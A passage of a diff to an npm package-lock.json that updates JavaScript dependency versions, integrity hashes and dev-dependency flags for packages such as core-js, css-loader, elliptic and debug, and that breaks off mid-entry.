"y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + } + }, + "yargs-parser": { + "version": "20.2.7", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz", + "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==", + "dev": true + } } }, "core-js": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.6.5.tgz", - "integrity": "sha512-vZVEEwZoIsI+vPEuoF9Iqf5H7/M3eeQqWlQnYa8FSKKePuYTf5MWnxb5SDAzCa60b3JBRS5g9b+Dq7b1y/RCrA==" + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.10.1.tgz", + "integrity": "sha512-pwCxEXnj27XG47mu7SXAwhLP3L5CrlvCB91ANUkIz40P27kUcvNfSdvyZJ9CLHiVoKSp+TTChMQMSKQEH/IQxA==" }, "core-js-compat": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.6.5.tgz", - "integrity": "sha512-7ItTKOhOZbznhXAQ2g/slGg1PJV5zDO/WdkTwi7UEOJmkvsE32PWvx6mKtDjiMpjnR2CNf6BAD6sSxIlv7ptng==", + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.10.1.tgz", + "integrity": "sha512-ZHQTdTPkqvw2CeHiZC970NNJcnwzT6YIueDMASKt+p3WbZsLXOcoD392SkcWhkC0wBBHhlfhqGKKsNCQUozYtg==", "dev": true, "requires": { - "browserslist": "^4.8.5", + "browserslist": "^4.16.3", "semver": "7.0.0" }, "dependencies": { @@ -4034,16 +6779,11 @@ } } }, - "core-js-pure": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.6.5.tgz", - "integrity": "sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==", - "dev": true - }, "core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true }, "cosmiconfig": { "version": "6.0.0", @@ -4058,19 +6798,19 @@ } }, "create-ecdh": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.3.tgz", - "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz", + "integrity": "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==", "dev": true, "requires": { "bn.js": "^4.1.0", - "elliptic": "^6.0.0" + "elliptic": "^6.5.3" }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -4144,12 +6884,13 @@ "crypto-random-string": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", - "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==" + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", + "dev": true }, "css-loader": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.5.3.tgz", - "integrity": "sha512-UEr9NH5Lmi7+dguAm+/JSPovNjYbm2k3TK58EiwQHzOHH5Jfq1Y+XoP2bQO6TMn7PptMd0opxxedAWcaSTRKHw==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", + "integrity": "sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==", "dev": true, "requires": { "camelcase": "^5.3.1", @@ -4157,22 +6898,51 @@ "icss-utils": "^4.1.1", "loader-utils": "^1.2.3", "normalize-path": "^3.0.0", - "postcss": "^7.0.27", + "postcss": "^7.0.32", "postcss-modules-extract-imports": "^2.0.0", "postcss-modules-local-by-default": "^3.0.2", "postcss-modules-scope": "^2.2.0", "postcss-modules-values": "^3.0.0", - "postcss-value-parser": "^4.0.3", - "schema-utils": "^2.6.6", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^2.7.0", "semver": "^6.3.0" }, "dependencies": { + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true + }, "camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", "dev": true }, + "schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + } + }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", @@ -4498,15 +7268,11 @@ "assert-plus": "^1.0.0" } }, - "data-uri-to-buffer": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-1.2.0.tgz", - "integrity": "sha512-vKQ9DTQPN1FLYiiEEOQ6IBGFqvjCa5rSK3cWMy/Nespm5d/x3dGFT9UBZnkLxCwua/IXBi2TYnwTEpsOvhC4UQ==" - }, "debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, "requires": { "ms": "2.0.0" } @@ -4514,7 +7280,8 @@ "decamelize": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", + "dev": true }, "decamelize-keys": { "version": "1.1.0", @@ -4536,6 +7303,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, "requires": { "mimic-response": "^3.1.0" }, @@ -4543,7 +7311,8 @@ "mimic-response": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true } } }, @@ -4564,12 +7333,14 @@ "deep-extend": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==" + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true }, "deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", - "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=" + "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", + "dev": true }, "default-gateway": { "version": "4.2.0", @@ -4581,15 +7352,26 @@ "ip-regex": "^2.1.0" } }, + "defaults": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz", + "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=", + "dev": true, + "requires": { + "clone": "^1.0.2" + } + }, "defer-to-connect": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.0.tgz", - "integrity": "sha512-bYL2d05vOSf1JEZNx5vSAtPuBMkX8K9EUutg7zlKvTqKXHt7RhWJFbmd7qakVuf13i+IkGmp6FwSsONOf6VYIg==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "dev": true }, "define-properties": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", + "dev": true, "requires": { "object-keys": "^1.0.12" } @@ -4635,23 +7417,6 @@ } } }, - "degenerator": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-1.0.4.tgz", - "integrity": "sha1-/PSQo37OJmRk2cxDGrmMWBnO0JU=", - "requires": { - "ast-types": "0.x.x", - "escodegen": "1.x.x", - "esprima": "3.x.x" - }, - "dependencies": { - "esprima": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz", - "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=" - } - } - }, "del": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz", @@ -4720,7 +7485,8 @@ "depd": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", - "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", + "dev": true }, "des.js": { "version": "1.0.1", @@ -4753,7 +7519,13 @@ "diff": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", - "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==" + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true + }, + "diff-sequences": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz", + "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==" }, "diffie-hellman": { "version": "5.0.3", @@ -4767,9 +7539,9 @@ }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -4778,6 +7550,7 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, "requires": { "path-type": "^4.0.0" } @@ -4811,6 +7584,7 @@ "version": "2.1.3", "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.3.tgz", "integrity": "sha512-cwaRptBmYZwu/FyhGcqBm2MzXA77W2/E6eVkpOZVDk6PkI9Bjj84xPrXiHMA+OWjzNy+DFjgKh8Q+1hMR7/OHg==", + "dev": true, "requires": { "debug": "^4.1.1", "readable-stream": "^3.5.0", @@ -4819,22 +7593,25 @@ }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "readable-stream": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -4844,11 +7621,12 @@ } }, "dockerfile-ast": { - "version": "0.0.19", - "resolved": "https://registry.npmjs.org/dockerfile-ast/-/dockerfile-ast-0.0.19.tgz", - "integrity": "sha512-iDRNFeAB2j4rh/Ecc2gh3fjciVifCMsszfCfHlYF5Wv8yybjZLiRDZUBt/pS3xrAz8uWT8fCHLq4pOQMmwCDwA==", + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dockerfile-ast/-/dockerfile-ast-0.2.0.tgz", + "integrity": "sha512-iQyp12k1A4tF3sEfLAq2wfFPKdpoiGTJeuiu2Y1bdEqIZu0DfSSL2zm0fk7a/UHeQkngnYaRRGuON+C+2LO1Fw==", + "dev": true, "requires": { - "vscode-languageserver-types": "^3.5.0" + "vscode-languageserver-types": "^3.16.0" } }, "doctrine": { @@ -4870,12 +7648,19 @@ } }, "dom-helpers": { - "version": "5.1.4", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.1.4.tgz", - "integrity": "sha512-TjMyeVUvNEnOnhzs6uAn9Ya47GmMo3qq7m+Lr/3ON0Rs5kHvb8I+SQYjLUSYn7qhEm0QjW0yrBkvz9yOrwwz1A==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.0.tgz", + "integrity": "sha512-Ru5o9+V8CpunKnz5LGgWXkmrH/20cGKwcHwS4m73zIvs54CN9epEmT/HLqFJW3kXpakAFkEdzgy1hzlJe3E4OQ==", "requires": { "@babel/runtime": "^7.8.7", - "csstype": "^2.6.7" + "csstype": "^3.0.2" + }, + "dependencies": { + "csstype": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz", + "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g==" + } } }, "dom-serializer": { @@ -4933,20 +7718,23 @@ } }, "dot-prop": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.2.0.tgz", - "integrity": "sha512-uEUyaDKoSQ1M4Oq8l45hSE26SnTxL6snNnqvK/VWx5wJhmff5z0FUVJDKDanor/6w3kzE3i7XZOk+7wC0EXr1A==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz", + "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==", + "dev": true, "requires": { "is-obj": "^2.0.0" } }, "dotnet-deps-parser": { - "version": "4.10.0", - "resolved": "https://registry.npmjs.org/dotnet-deps-parser/-/dotnet-deps-parser-4.10.0.tgz", - "integrity": "sha512-dEO1oTvreaDCtcvhRdOmmAMubyC+MWqVr1c/1Wvasi+NW4NZeB67qGh1taqowUFh+aCXtPw3SP2eExn6aNkhwA==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/dotnet-deps-parser/-/dotnet-deps-parser-5.0.0.tgz", + "integrity": "sha512-1l9K4UnQQHSfKgeHeLrxnB53AidCZqPyf9dkRL4/fZl8//NPiiDD43zHtgylw8DHlO7gvM8+O5a0UPHesNYZKw==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch", - "@types/xml2js": "0.4.5", + "lodash.isempty": "^4.4.0", + "lodash.set": "^4.3.2", + "lodash.uniq": "^4.5.0", "source-map-support": "^0.5.7", "tslib": "^1.10.0", "xml2js": "0.4.23" @@ -4960,12 +7748,14 @@ "duplexer3": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", - "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" + "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=", + "dev": true }, "duplexify": { "version": "3.7.1", "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==", + "dev": true, "requires": { "end-of-stream": "^1.0.0", "inherits": "^2.0.1", @@ -4990,9 +7780,9 @@ "dev": true }, "electron-to-chromium": { - "version": "1.3.432", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.432.tgz", - "integrity": "sha512-/GdNhXyLP5Yl2322CUX/+Xi8NhdHBqL6lD9VJVKjH6CjoPGakvwZ5CpKgj/oOlbzuWWjOvMjDw1bBuAIRCNTlw==", + "version": "1.3.713", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.713.tgz", + "integrity": "sha512-HWgkyX4xTHmxcWWlvv7a87RHSINEcpKYZmDMxkUlHcY+CJcfx7xEfBHuXVsO1rzyYs1WQJ7EgDp2CoErakBIow==", "dev": true }, "element-resize-event": { @@ -5000,25 +7790,34 @@ "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" }, + "elfy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/elfy/-/elfy-1.0.0.tgz", + "integrity": "sha512-4Kp3AA94jC085IJox+qnvrZ3PudqTi4gQNvIoTZfJJ9IqkRuCoqP60vCVYlIg00c5aYusi5Wjh2bf0cHYt+6gQ==", + "dev": true, + "requires": { + "endian-reader": "^0.3.0" + } + }, "elliptic": { - "version": "6.5.3", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.3.tgz", - "integrity": "sha512-IMqzv5wNQf+E6aHeIqATs0tOLeOTwj1QKbRcS3jBbYkl5oLAserA8yJTT7/VyHUYG91PRmPyeQDObKLPpeS4dw==", + "version": "6.5.4", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz", + "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", "dev": true, "requires": { - "bn.js": "^4.4.0", - "brorand": "^1.0.1", + "bn.js": "^4.11.9", + "brorand": "^1.1.0", "hash.js": "^1.0.0", - "hmac-drbg": "^1.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.0" + "hmac-drbg": "^1.0.1", + "inherits": "^2.0.4", + "minimalistic-assert": "^1.0.1", + "minimalistic-crypto-utils": "^1.0.1" }, "dependencies": { "bn.js": { - "version": "4.11.9", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.9.tgz", - "integrity": "sha512-E6QoYqCKZfgatHTdHzs1RRKP7ip4vvm+EyRUeE2RF0NblwVvb0p6jSVeNTOFxPn26QXN2o6SMfNxKp6kU8zQaw==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -5026,12 +7825,14 @@ "email-validator": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/email-validator/-/email-validator-2.0.4.tgz", - "integrity": "sha512-gYCwo7kh5S3IDyZPLZf6hSS0MnZT8QmJFqYvbqlDZSbwdZlY6QZWxJ4i/6UhITOJ4XzyI647Bm2MXKCLqnJ4nQ==" + "integrity": "sha512-gYCwo7kh5S3IDyZPLZf6hSS0MnZT8QmJFqYvbqlDZSbwdZlY6QZWxJ4i/6UhITOJ4XzyI647Bm2MXKCLqnJ4nQ==", + "dev": true }, "emoji-regex": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", - "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==" + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true }, "emojis-list": { "version": "3.0.0", @@ -5056,14 +7857,21 @@ "version": "1.4.4", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, "requires": { "once": "^1.4.0" } }, + "endian-reader": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/endian-reader/-/endian-reader-0.3.0.tgz", + "integrity": "sha1-hOykNrgK7Q0GOcRykTOLky7+UKA=", + "dev": true + }, "enhanced-resolve": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.1.tgz", - "integrity": "sha512-98p2zE+rL7/g/DzMHMTF4zZlCgeVdJ7yr6xzEpJRYwFYrGi9ANdn5DnJURg6RpBkyk60XYDnWIv51VfIhfNGuA==", + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", + "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", "dev": true, "requires": { "graceful-fs": "^4.1.2", @@ -5136,18 +7944,11 @@ "is-symbol": "^1.0.2" } }, - "es6-promise": { - "version": "4.2.8", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", - "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" - }, - "es6-promisify": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz", - "integrity": "sha1-UQnWLz5W6pZ8S2NQWu8IKRyKUgM=", - "requires": { - "es6-promise": "^4.0.3" - } + "es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true }, "es6-templates": { "version": "0.2.3", @@ -5159,10 +7960,17 @@ "through": "~2.3.6" } }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, "escape-goat": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/escape-goat/-/escape-goat-2.1.1.tgz", - "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==" + "integrity": "sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==", + "dev": true }, "escape-html": { "version": "1.0.3", @@ -5175,26 +7983,6 @@ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" }, - "escodegen": { - "version": "1.14.3", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz", - "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==", - "requires": { - "esprima": "^4.0.1", - "estraverse": "^4.2.0", - "esutils": "^2.0.2", - "optionator": "^0.8.1", - "source-map": "~0.6.1" - }, - "dependencies": { - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "optional": true - } - } - }, "eslint": { "version": "6.8.0", "resolved": "https://registry.npmjs.org/eslint/-/eslint-6.8.0.tgz", @@ -5422,23 +8210,23 @@ } }, "eslint-plugin-react": { - "version": "7.19.0", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.19.0.tgz", - "integrity": "sha512-SPT8j72CGuAP+JFbT0sJHOB80TX/pu44gQ4vXH/cq+hQTiY2PuZ6IHkqXJV6x1b28GDdo1lbInjKUrrdUf0LOQ==", + "version": "7.23.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.23.2.tgz", + "integrity": 